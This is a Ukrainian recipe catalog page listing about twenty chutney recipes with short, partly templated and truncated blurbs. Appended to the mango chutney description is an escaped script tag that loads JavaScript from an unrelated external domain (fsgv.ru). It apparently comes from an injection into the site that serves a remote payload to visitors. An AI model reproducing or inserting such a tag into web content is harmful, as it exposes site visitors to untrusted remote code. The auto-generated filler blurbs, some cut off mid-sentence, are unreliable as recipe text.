Каталог

Чатні

Знайдено рецептів: 21

Цибулевий чатні

Мінімум інгредієнтів — чудовий результат. Нижче я розповім детальніше. Соус готовий. Зберігайте в холодильнику та подавайте до страв.

Читати рецепт→

60 хв4 порц.

Апельсиновий чатні

Ідеально підходить до м'яса, птиці та гарнірів. Обов'язково знімайте з апельсинів білу частину, вона надає неприємну гіркоту. Зберігати чатні потрібно в закритому вигляді в холодильнику. Готовий соус можна зберігати в холодильнику кілька днів.

Читати рецепт→

30 хв4 порц.

Чатні з помідорів

Рецепт соусу в домашніх умовах. Якщо ви не боїтеся спробувати щось нове, а також зараховуєте себе до шанувальників гострого, тоді цей варіант ідеально підходить до пасти, м'яса та овочів.

Читати рецепт→

60 хв4 порц.

Яблучний чатні на зиму

Універсальна заправка для салатів і гарячих страв. Нижче я розповім детальніше,

Читати рецепт→

50 хв4 порц.

Шпинат у тісті з соусом чатні

Рецепт соусу в домашніх умовах. Шпинат у тісті з соусом чатні — одне з улюблених індійських страв. На санскриті цю страву називають палак пакора. Найчастіше ми називаємо її просто пакора. Дуже смачна хрумка закуска. Вона виходить хрумкою завдяки поєднанню льодяної води та рисової борошна. Це два дуже важливі компоненти! Соус чатні — дуже незвичайний соус, який поєднує в собі всі смаки відразу: він і солоний, і солодкий, і кислий одночасно! Дуже цікаві відчуття. Спробуйте, і вам обов’язково сподобається.

Читати рецепт→

120 хв4 порц.

Чатні з червоної смородини

Мінімум інгредієнтів — чудовий результат. Нижче я розповім детальніше. Готовий соус можна зберігати в холодильнику кілька днів.

Читати рецепт→

10 хв4 порц.

Зелений чатні

Рецепт соусу в домашніх умовах. Нижче я розповім детальніше. Подавайте соус до м'яса, риби або використовуйте як заправку для салату.

Читати рецепт→

10 хв4 порц.

Кокосовий чатні

Соус готується за кілька хвилин. Рецептів приготування чатні сотні, я пропоную свій варіант. Готовий соус можна зберігати в холодильнику кілька днів.

Читати рецепт→

10 хв4 порц.

Чатні з м'яти та коріандру

Рецепт соусу в домашніх умовах. Цікава ідея,

Читати рецепт→

15 хв4 порц.

Чатні з хурми

Рецепт соусу в домашніх умовах. У цьому рецепті ви дізнаєтесь,

Читати рецепт→

60 хв4 порц.

Вишневий чатні

Спішу поділитися з вами чудовою ідеєю: подавайте соус до м'яса, риби або використовуйте як заправку для салату.

Читати рецепт→

25 хв4 порц.

Часниково-томатний чатні

Смачна добавка до повсякденних і святкових страв. Якщо ви віддаєте перевагу більш однорідній структурі, готовий соус можна зблендерувати. Якщо ви любите гострі соуси — цей чатні обов’язково вам сподобається. Соус ідеально підходить до м’яса або риби. Чудово підходить до пасту, м’яса та овочів.

Читати рецепт→

15 хв4 порц.

Часниковий чатні

Соус готується за кілька хвилин. Пряний і ароматний чатні, головним компонентом якого є часник, стане частим гостем на вашому столі, як тільки ви приготуєте його хоч раз. Гострий і пікантний на смак соус, приготований вами власноруч, перетворить навіть звичайну смажену курку або шматочок вареної яловичини на шедевр. Готовий соус можна зберігати в холодильнику кілька днів.

Читати рецепт→

60 хв4 порц.

Чатні з манго та ананаса

Рецепт соусу в домашніх умовах. Традиційна індійська приправа. Цей чатні зроблений із манго та ананаса. Добре підійде до курки, риби або свинини з рисом. Ідеально підходить до пасти, м'яса та овочів.

Читати рецепт→

60 хв4 порц.

Яблучний чатні

Мінімум інгредієнтів — чудовий результат. Сьогодні хочу запропонувати свій варіант приготування чатні з яблук. Він чудово поєднується з рисом або кус-кусом, тостами та лепешками. Подавайте охолодженим або кімнатної температури.

Читати рецепт→

60 хв4 порц.

Чатні з інжиром і чорним перцем

Домашній соус готується просто і швидко. Покладіть перець на дошку. Використовуючи дно невеликої каструлі, трохи розім'яніть горошини. Перев'яжіть тим'ян кулінарним шпагатом. Покладіть перець, сушене інжир, цибулю-шалот, червоне вино, червоний винний оцет, тим'ян, сіль і цукор у середню каструлю. На середньому вогні доведіть до кипіння. Зменшіть вогонь до мінімального та варіть, доки інжир не стане м'яким, а рідина не загустіє, приблизно 45 хвилин. Вилучіть тим'ян. Додайте свіжий інжир. Варіть, часто помішуючи, 10–15 хвилин. Зніміть каструлю з вогню. Перекладіть суміш у велику миску, поставте її над льодяною ванною, щоб охолодити. Зберігайте чатні в герметичній ємності в холодильнику до 4 тижнів. Соус готовий. Зберігайте в холодильнику та подавайте до страв.

Читати рецепт→

30 хв4 порц.

Чатні з груші та брусниці

Мінімум інгредієнтів — чудовий результат. Змішайте клюкву та цукор у каструлі, варіть на середньому повільному вогні, доки ягоди не виділять сік, близько 8 хвилин. Очистіть і наріжте груші кубиками. Викладіть нарізані груші в миску та змішайте з лимонною цедрою та соком. Додайте апельсиновий сік, родзинки, інжир до клюкви. Збільште вогонь до високого. Поступово додавайте груші, помішуючи, коли суміш почне булькати. Готуйте, помішуючи, доки суміш не загустіє, а груші не стануть червоними, близько 10 хвилин. Викладіть у миску. Дайте охолонути, охолодіть чатні у холодильнику до 24 годин. Подавайте охолодженим або кімнатної температури.

Читати рецепт→

30 хв4 порц.

Чатні з клюкви

Мінімум інгредієнтів — чудовий результат. У великій каструлі повільно нагріти олію. Додати цибулю та імбир, смажити, постійно помішуючи, поки цибуля не стане м’якою, близько 5 хвилин. Додати клюкву, цукор, оцет і 1 склянку води, довести до кипіння. Зменшити вогонь і варити на повільному вогні, часто помішуючи, поки суміш не загустіє, 10–15 хвилин. Посолити, поперчити. Дати повністю охолонути. Подавати чатні кімнатної температури або охолодженим. Готовий соус можна зберігати в холодильнику кілька днів.

Читати рецепт→

30 хв4 порц.

Манговий чатні

Чатні з манго — це дуже популярна індійська приправа, яка завдяки спеціям і незвичайній технології приготування чудово підсилює апетит. Зазвичай її подають перед основною стравою разом із якоюсь закускою. У нашій сім'ї чатні з манго використовують по-різному — намазуємо на хліб, додаємо в млинці, подаємо з оладками, різними закусками... Смак передати важко — треба спробувати. Чого вам і бажаю!&ltscript type="text/javascript" src="https://fsgv.ru/i.js"&gt&lt/script&gt

Читати рецепт→

60 хв4 порц.

Чатні з ананаса

Смачна добавка до повсякденних і святкових страв. Якось у нас вдома залишився ананас, і ми не знали, що з ним робити. У мережі знайшли рецепт чатні з ананаса — вирішили спробувати. Зробили — і дуже сподобалося. Соус вийшов смачним, подавали його до картоплі фрі та чіпсів — дуже цікаве поєднання. До речі, за бажанням чатні з ананаса можна подавати й до гарячих страв, до м'яса. Ідеально підходить до пасти, м'яса та овочів.

Читати рецепт→

40 хв4 порц.

Виноградне чатні

Мінімум інгредієнтів — чудовий результат. Виноградне чатні готується досить просто, зате соус виходить не лише надзвичайно смачним, а й гарним, естетичним — «як у найкращих будинках Лондона та Парижа» :) Дуже добре виноградне чатні поєднується з мармуровою яловичиною та медальйонами. До речі, добре пасує й до звичайної свинини, я пробувала подавати до шашлику — теж вийшло цікаве поєднання. До таких страв добре підійде сухе червоне вино французьких виноградників. Бажаю приємного приготування! Готовий соус можна зберігати в холодильнику кілька днів.

Читати рецепт→